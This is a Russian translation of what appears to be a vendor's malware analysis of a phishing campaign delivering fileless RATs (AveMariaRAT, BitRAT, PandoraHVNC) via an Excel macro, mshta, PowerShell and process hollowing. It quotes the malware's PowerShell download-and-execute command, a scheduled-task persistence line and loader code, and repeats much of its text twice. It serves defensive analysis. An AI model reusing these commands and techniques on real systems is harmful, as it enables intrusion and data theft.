В этом анализе я покажу, как фишинговой кампании удается передать бесфайловое вредоносное ПО на устройство жертвы, какой механизм он использует для загрузки, развертывания и выполнения бесфайлового вредоносного ПО в целевом процессе и как он поддерживает постоянство на устройстве жертвы. устройство.
Затрагиваемые платформы: Microsoft Windows
Затронутые стороны: пользователи Microsoft Windows
Воздействие: Контролирует устройство жертвы и собирает конфиденциальную информацию.
Уровень серьезности: критический
Рисунок 1.1 – Фишинговое письмо
Это электронное письмо пытается заставить получателя открыть вложенный документ Excel для подробностей отчета. Как видите, это фишинговое письмо определяется службой FortiMail и помечается как «[СПАМ, обнаруженный FortiMail]» в строке «Тема», чтобы предупредить получателя.
Рисунок 2.1 – Уведомление о безопасности, которое появляется при открытии документа Excel
Он содержит макрос автозапуска, который запускается с использованием метода VBA (приложения Visual Basic) с именем «Aut
pen()» при открытии файла Excel.
Просматривая код VBA внутри метода, я узнал, что он декодирует командную строку и выполняет ее с помощью WMI (Windows Management Instrumentation).
Рисунок 2.2 – Объект WMI, используемый для выполнения декодированной команды
Рисунок 2.2 представляет собой фрагмент кода VBA метода «Autpen()», показывающий, где он собирается создать объект WMI для выполнения декодированной строковой команды «C:\\ProgramData\\ddond.com hxxps://taxfile[ .]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file», как показано внизу рисунка 2.2.
Перед этим он копирует локальный файл «C:\Windows\System32\mshta.exe» в «C:\ProgramData\» и переименовывает его в «ddond.com». «mshta.exe» — это собственный двоичный файл Windows, предназначенный для выполнения файлов Microsoft HTML Application (HTA). Помните, что «C:\ProgramData\ddond.com» теперь является дубликатом «mshta.exe», который будет использоваться на протяжении всей кампании. Например, чтобы запутать исследователей, он использует скопированный файл «ddond.com» для загрузки и запуска вредоносного html-файла, а не «mshta.exe».
Рисунок 3.1 – Упрощенный код JavaScript из APRL27.html
Он создает объект «Wscript.Shell», используя приведенную ниже инструкцию. «Wscript.Shell» извлекается с использованием метода «_0x5b4b3f(0x391, 0x391)», который используется для возврата строки по ее индексу.
chuchukukukaokiwDasidow = новый ActiveXObject(_0x5b4b3f(0x391, 0x391));
«chuchukukukaokiwDasidow» — это созданный объект оболочки ОС, используемый для запуска приложения. На рис. 3.1 мы видим, что он запускает пять приложений командной строки следующим образом.
Он запускает приложение PowerShell для загрузки файла PowerShell с именем «mainpw.dll», а затем запускает его.
Затем он запускает schtasks для создания запланированной задачи с именем «calendersw» в системе «Планировщик заданий». Он выполняет команду «C:\ProgramData\ddond.com hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file» каждые 82 минуты, что выглядит как разбор «APRL27.html». . Это также механизм сохранения. После запуска back.htm добавляет больше запланированных задач.
Он также запускает taskkill для уничтожения процессов, если они существуют, в MS Word (WinWord.exe), MS Excel (Excel.exe) и MS Pointpoint (POWERPNT.exe).
Рисунок 3.2 – Трафик APRL27.htm
На рис. 3.2 показан снимок экрана прокси-программы HTTP, показывающий пакеты от «APRL27.htm» до «mainpw.dll», отмеченные красным прямоугольником. Зеленое поле (back.htm) и синее поле (Start.htm) — это другие группы запросов от других команд «ddond.com», запускаемых планировщиком заданий.
Файл mainpw.dll (размер 7,58 МБ) полон кода PowerShell, который можно разделить на три части для трех безфайловых вредоносных программ. На рис. 3.3 показана упрощенная структура «mainpw.dll».
Рисунок 3.3 – Схема кода PowerShell внутри «mainpw.dll»
Этот код состоит из трех сегментов кода и использует одинаковую логику кода для каждого вредоносного ПО. Я объясню, как это работает для каждой вредоносной программы через их переменные.
В конце каждого сегмента вредоносного кода код вызывает метод «Load()» для загрузки внутреннего модуля .Net из «$RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG». Затем он вызывает метод Invoke() для вызова функции projFUD.PA.Execute() внутреннего модуля .Net с двумя параметрами: полным путем к исполняемому файлу и бесфайловой полезной нагрузкой вредоносного ПО. Вот фрагмент кода PowerShell, использованный для
первой вредоносной программы.
Рисунок 4.1 – Обрыв на входе функции «projFUD.PA.Execute()»
Снизу, на подвкладке переменных «Местные», мы видим два переданных параметра. Затем он выполняет очистку процесса, чтобы внедрить полезную нагрузку вредоносного ПО во вновь созданный процесс «aspnet_compiler.exe».
Рисунок 4.2 – Создание приостановленного процесса
Затем функция «Execute()» вызывает Windows API «CreateProcessA()» для создания процесса «aspnet_compiler.exe» с флагом создания 0x8000004. Это комбинация CREATE_NO_WINDOW и CREATE_SUSPENDED, как показано на рис. 4.2. Затем он выделяет память внутри этого процесса и развертывает в нем данные полезной нагрузки вредоносного ПО. Он изменяет значение по адресу памяти 0x7EFDE008, где сохраняет базовый адрес процесса PEB (блок среды процесса) и изменяет реестр процесса, чтобы его EIP (расширенный указатель инструкций) указывал на скопированную полезную нагрузку вредоносного ПО. Чтобы закончить, ему нужно несколько раз вызвать API WriteProcessMemory(), а также API Wow64SetThreadContext(). После того, как все вышеперечисленные шаги были выполнены, он, наконец, вызывает API ResumeThread(), чтобы процесс запускал полезную нагрузку вредоносного ПО. Ниже приведен код, используемый для вызова этого API. «processInformation.ThreadHandle» — это дескриптор потока только что созданного процесса.
Я также показал, как код VBA приводит к доступу к удаленному html-файлу (APRL27.htm) с помощью скопированной команды «mshta.exe». Этот файл содержит вредоносный код JavaScript, который будет выполнен позже. Я также продемонстрировал, как он выполняет постоянство, добавляя задачи в системный «Планировщик заданий», чтобы они оставались на устройстве жертвы.
Я также объяснил, как он получает три безфайловых вредоносных программы в огромном загруженном файле PowerShell, чтобы обойти обнаружение, и как они позже развертываются и выполняются внутри целевых процессов с помощью Process Hollowing. Эти три безфайловых вредоносных программы — AveMariaRAT/BitRAT/PandoraHVNC.
Во второй части этого анализа я сосредоточусь на этих трех безфайловых вредоносных программах, чтобы увидеть, что они делают на устройстве жертвы, а также какие данные они могут украсть.
Перевод ЭТОЙ статьи.
Затрагиваемые платформы: Microsoft Windows
Затронутые стороны: пользователи Microsoft Windows
Воздействие: Контролирует устройство жертвы и собирает конфиденциальную информацию.
Уровень серьезности: критический
Наблюдение за фишинговым письмом
Захваченное фишинговое письмо показано на рисунке 1.1. Оно было замаскировано под уведомление об отчете об оплате из надежного источника.
Это электронное письмо пытается заставить получателя открыть вложенный документ Excel для подробностей отчета. Как видите, это фишинговое письмо определяется службой FortiMail и помечается как «[СПАМ, обнаруженный FortiMail]» в строке «Тема», чтобы предупредить получателя.
Просмотр прикрепленного документа Excel
Документ Excel называется «Remittance-Details-951244.xlam». Это файл надстройки Excel (*.xlam), содержащий вредоносные макросы. Когда получатель запускает его в программе Microsoft Excel, всплывает уведомление о безопасности, спрашивающее пользователя, хотят ли они включить макросы, как показано на рис. 2.1.
Он содержит макрос автозапуска, который запускается с использованием метода VBA (приложения Visual Basic) с именем «Aut
pen()» при открытии файла Excel.Просматривая код VBA внутри метода, я узнал, что он декодирует командную строку и выполняет ее с помощью WMI (Windows Management Instrumentation).
Рисунок 2.2 представляет собой фрагмент кода VBA метода «Aut
pen()», показывающий, где он собирается создать объект WMI для выполнения декодированной строковой команды «C:\\ProgramData\\ddond.com hxxps://taxfile[ .]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file», как показано внизу рисунка 2.2.Перед этим он копирует локальный файл «C:\Windows\System32\mshta.exe» в «C:\ProgramData\» и переименовывает его в «ddond.com». «mshta.exe» — это собственный двоичный файл Windows, предназначенный для выполнения файлов Microsoft HTML Application (HTA). Помните, что «C:\ProgramData\ddond.com» теперь является дубликатом «mshta.exe», который будет использоваться на протяжении всей кампании. Например, чтобы запутать исследователей, он использует скопированный файл «ddond.com» для загрузки и запуска вредоносного html-файла, а не «mshta.exe».
HTML + JavaScript + PowerShell
Он загружает файл «APRL27.htm», который анализируется «ddond.com» (то есть «mshta.exe»). Файл HTML содержит фрагмент кода JavaScript, закодированный с использованием метода экранирования URL. Я расшифровал его и упростил код, как показано на рис. 3.1.
Он создает объект «Wscript.Shell», используя приведенную ниже инструкцию. «Wscript.Shell» извлекается с использованием метода «_0x5b4b3f(0x391, 0x391)», который используется для возврата строки по ее индексу.
chuchukukukaokiwDasidow = новый ActiveXObject(_0x5b4b3f(0x391, 0x391));
«chuchukukukaokiwDasidow» — это созданный объект оболочки ОС, используемый для запуска приложения. На рис. 3.1 мы видим, что он запускает пять приложений командной строки следующим образом.
- powershell $MMMMMMM=((neW-ObjEcT (("Net.Webclient"))).(("Downloadstring")).invoke((("hxxps[:]//taxfile[.]mediafire.com/file/175lr9wsa5n97x8/mainpw.dll/file"))));Invoke-Expression $MMMMMMM
- schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\ddond.com """""" hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file"""
- taskkill /f /im WinWord.exe
- taskkill /f /im Excel.exe
- taskkill /f /im POWERPNT.exe
Он запускает приложение PowerShell для загрузки файла PowerShell с именем «mainpw.dll», а затем запускает его.
Затем он запускает schtasks для создания запланированной задачи с именем «calendersw» в системе «Планировщик заданий». Он выполняет команду «C:\ProgramData\ddond.com hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file» каждые 82 минуты, что выглядит как разбор «APRL27.html». . Это также механизм сохранения. После запуска back.htm добавляет больше запланированных задач.
Он также запускает taskkill для уничтожения процессов, если они существуют, в MS Word (WinWord.exe), MS Excel (Excel.exe) и MS Pointpoint (POWERPNT.exe).
На рис. 3.2 показан снимок экрана прокси-программы HTTP, показывающий пакеты от «APRL27.htm» до «mainpw.dll», отмеченные красным прямоугольником. Зеленое поле (back.htm) и синее поле (Start.htm) — это другие группы запросов от других команд «ddond.com», запускаемых планировщиком заданий.
Файл mainpw.dll (размер 7,58 МБ) полон кода PowerShell, который можно разделить на три части для трех безфайловых вредоносных программ. На рис. 3.3 показана упрощенная структура «mainpw.dll».
Этот код состоит из трех сегментов кода и использует одинаковую логику кода для каждого вредоносного ПО. Я объясню, как это работает для каждой вредоносной программы через их переменные.
- Первый «$hexString» содержит динамический метод для выполнения распаковки GZip.
- Второй «$hexString» содержит динамический код PowerShell, который распаковывает полезную нагрузку вредоносного ПО, и внутренний файл модуля .Net, который развертывает полезную нагрузку вредоносного ПО.
- «$nona» — это огромный массив байтов, который содержит полезную нагрузку вредоносного ПО, сжатого GZip. Следующие коды PowerShell, извлеченные из второй $hexString, используются для распаковки полезной нагрузки вредоносного ПО в $nona и внутреннего модуля .Net для развертывания полезной нагрузки вредоносного ПО в две локальные переменные.
Код:
[byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-
DecompressedByteArray $nona
[byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-
DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRIВ конце каждого сегмента вредоносного кода код вызывает метод «Load()» для загрузки внутреннего модуля .Net из «$RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG». Затем он вызывает метод Invoke() для вызова функции projFUD.PA.Execute() внутреннего модуля .Net с двумя параметрами: полным путем к исполняемому файлу и бесфайловой полезной нагрузкой вредоносного ПО. Вот фрагмент кода PowerShell, использованный для
первой вредоносной программы.
Код:
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]] ( 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe',$RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))Динамический модуль .Net для обработки процессов
Это внутренний модуль .Net, который динамически извлекается из второй переменной $hexString. Его функция «projFUD.PA.Execute()» вызывается из PowerShell, где «projFUD» — пространство имен, «PA» — имя класса, а «Execute()» — функция-член класса «PA». На рис. 4.1 показана ошибка отладчика при входе в эту функцию.
Снизу, на подвкладке переменных «Местные», мы видим два переданных параметра. Затем он выполняет очистку процесса, чтобы внедрить полезную нагрузку вредоносного ПО во вновь созданный процесс «aspnet_compiler.exe».
Затем функция «Execute()» вызывает Windows API «CreateProcessA()» для создания процесса «aspnet_compiler.exe» с флагом создания 0x8000004. Это комбинация CREATE_NO_WINDOW и CREATE_SUSPENDED, как показано на рис. 4.2. Затем он выделяет память внутри этого процесса и развертывает в нем данные полезной нагрузки вредоносного ПО. Он изменяет значение по адресу памяти 0x7EFDE008, где сохраняет базовый адрес процесса PEB (блок среды процесса) и изменяет реестр процесса, чтобы его EIP (расширенный указатель инструкций) указывал на скопированную полезную нагрузку вредоносного ПО. Чтобы закончить, ему нужно несколько раз вызвать API WriteProcessMemory(), а также API Wow64SetThreadContext(). После того, как все вышеперечисленные шаги были выполнены, он, наконец, вызывает API ResumeThread(), чтобы процесс запускал полезную нагрузку вредоносного ПО. Ниже приведен код, используемый для вызова этого API. «processInformation.ThreadHandle» — это дескриптор потока только что созданного процесса.
Код:
num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread, PA.vgxYHnXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method,
new object[]
{
processInformation.ThreadHandle
});Заключение
В этом анализе я объяснил, как вложение документа Excel к замаскированному фишинговому письму отправляется на устройство жертвы и как вредоносный код внутри документа Excel автоматически выполняется после его открытия получателем.Я также показал, как код VBA приводит к доступу к удаленному html-файлу (APRL27.htm) с помощью скопированной команды «mshta.exe». Этот файл содержит вредоносный код JavaScript, который будет выполнен позже. Я также продемонстрировал, как он выполняет постоянство, добавляя задачи в системный «Планировщик заданий», чтобы они оставались на устройстве жертвы.
Я также объяснил, как он получает три безфайловых вредоносных программы в огромном загруженном файле PowerShell, чтобы обойти обнаружение, и как они позже развертываются и выполняются внутри целевых процессов с помощью Process Hollowing. Эти три безфайловых вредоносных программы — AveMariaRAT/BitRAT/PandoraHVNC.
Во второй части этого анализа я сосредоточусь на этих трех безфайловых вредоносных программах, чтобы увидеть, что они делают на устройстве жертвы, а также какие данные они могут украсть.
Перевод ЭТОЙ статьи.